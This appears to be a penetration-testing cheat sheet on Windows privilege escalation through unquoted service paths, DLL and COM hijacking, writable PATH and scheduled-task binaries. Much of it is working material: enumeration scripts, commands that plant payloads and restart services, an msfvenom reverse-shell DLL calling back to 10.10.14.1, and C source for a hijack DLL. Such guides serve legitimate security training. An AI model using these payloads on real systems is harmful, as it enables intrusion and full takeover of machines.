PrivEsc - DLL & Unquoted Paths
Sections PrivEsc - DLL & Unquoted Paths
Two related Windows-specific privesc surfaces. Both abuse how Windows resolves paths and loads libraries.
i. Unquoted service paths
When a service path has spaces and no quotes, Windows tries every prefix as the executable. If you can write to one of those prefixes, you win.
Example service path: C:\Program Files\Common Files\My App\backup.exe
Windows tries in order:
C:\Program.exe
C:\Program Files\Common.exe
C:\Program Files\Common Files\My.exe
C:\Program Files\Common Files\My App\backup.exe
If you can write to any of those prefixes, drop your payload there.
Find them:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
PowerShell version:
Get-CimInstance Win32_Service | Where-Object {
$_.PathName -match ' ' -and $_.PathName -notmatch '^"' -and $_.PathName -notmatch '^C:\\Windows'
} | Select-Object Name,PathName,StartMode
Then test write access on each candidate prefix:
$path = "C:\Program Files\Common Files\My App\backup.exe"
$parts = $path -split '\\'
for ($i=1; $i -lt $parts.Length; $i++) {
$dir = ($parts[0..($i-1)] -join '\')
if (Test-Path $dir) {
try {
$f = "$dir\writetest.tmp"
[io.file]::OpenWrite($f).Close()
Remove-Item $f
Write-Host "WRITABLE: $dir"
} catch {}
}
}
Exploit by dropping a payload at the writable prefix:
copy C:\Windows\Temp\sh.exe "C:\Program Files\Common.exe"
sc.exe stop vulnsvc & sc.exe start vulnsvc
Unquoted path is useless if you can’t restart the service. Check sc.exe sdshow <svc> for SERVICE_STOP rights, or wait for reboot.
ii. DLL hijacking, the search order
When a binary calls LoadLibrary("foo.dll") without an absolute path, Windows searches in order:
- The directory the EXE is in
- The current directory (CWD)
C:\Windows\System32C:\Windows\SystemC:\Windows- Directories in
PATH
Plant foo.dll in any earlier-searched writable directory.
SafeDllSearchMode (default on since XP SP2) moves CWD lower in the order, but search 1 (EXE directory) always wins.
iii. Find DLL hijack candidates
Run Process Monitor (procmon) on a test box, filter for NAME NOT FOUND and Path ends with .dll. Each missing DLL is a candidate. On the target, repeat with the actual service.
Quick script to find writable directories in PATH (planting a DLL named like a commonly-loaded one):
$env:PATH -split ';' | ForEach-Object {
if (Test-Path $_) {
try {
$f = "$_\writetest.tmp"
[io.file]::OpenWrite($f).Close()
Remove-Item $f
Write-Host "WRITABLE PATH dir: $_"
} catch {}
}
}
iv. Build a hijack DLL
Generate one with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f dll -o hijack.dll
Or a minimal C source if AV chews on msfvenom:
// hijack.c, build with: x86_64-w64-mingw32-gcc hijack.c -shared -o hijack.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("C:\\Windows\\Temp\\sh.exe", 0);
}
return TRUE;
}
Drop it at the hijack location:
copy hijack.dll C:\Apps\foo.dll
## Restart the service:
sc.exe stop vulnsvc & sc.exe start vulnsvc
v. Phantom DLL (missing but searched)
A common variant: the EXE references a DLL that does not exist on this system. Windows searches every location, fails, and may keep working without it. If you drop a DLL with that exact name in an earlier-searched path, it loads as SYSTEM.
Find phantom DLLs with procmon on a test box, filter for NAME NOT FOUND and Path ends with .dll. Common phantom victims:
wlbsctrl.dll(IKEEXT service, when not in use)WptsExtensions.dll(Task Scheduler)TSMSISrv.dll,TSVIPSrv.dll(RDP)RasMxs.dll,RasMxsAuth.dll
Drop your payload as one of these in C:\Windows\System32\ (need write) or in a PATH entry that comes before System32.
vi. PATH directory writable
If a directory in PATH is writable and listed before System32, you can shadow legitimate binaries:
$env:PATH -split ';'
## Any writable entry before C:\Windows\System32 is exploitable
Drop a malicious cmd.exe (or net.exe, ping.exe) there. When SYSTEM (a scheduled task, a service, an admin running a script) calls that command, your version runs.
vii. COM hijacking
Hijack a CLSID’s InprocServer32 to point to your DLL. When a privileged process activates that COM object, your DLL loads. Survives reboot too.
reg query "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32"
## If writable in HKCU and the target process checks HKCU first (UAC scope), plant your DLL path
Less common as a privesc on its own but useful for persistence after privesc.
viii. Scheduled task binary
Same surface as services. A scheduled task running as SYSTEM with a writable binary path:
Get-ScheduledTask | ForEach-Object {
$p = $_.Principal.UserId
if ($p -match 'SYSTEM') {
$_.Actions | ForEach-Object {
$exe = $_.Execute -replace '"',''
$args = $_.Arguments
if ($exe -and (Test-Path $exe)) {
$a = Get-Acl $exe
if ($a.Access | Where-Object {$_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match 'Write'}) {
"WRITABLE TASK BIN: $($_.TaskName) -> $exe $args"
}
}
}
}
}
If writable, overwrite the binary, wait for the task to fire (or force it with schtasks /run /tn <name>).
ix. Side-loading common signed binaries
Some signed Microsoft binaries (legitimately) load DLLs from their own directory. If you can write to that directory, plant a DLL to side-load with the binary’s signature reputation:
OneDriveSetup.exe->version.dllTeams.exe->cryptbase.dll- Various Microsoft tools have known side-loadable DLLs
This is more a defense-evasion technique (signed parent process = looks legitimate) than a direct privesc, but useful when combined with the above.
x. Cleanup
## Remove planted DLLs and EXEs
del "C:\Program Files\Common.exe"
del C:\Apps\foo.dll
## Restore original service state if you stopped/started
sc.exe start vulnsvc
See Persistence & Cleanup for the full Windows cleanup pass.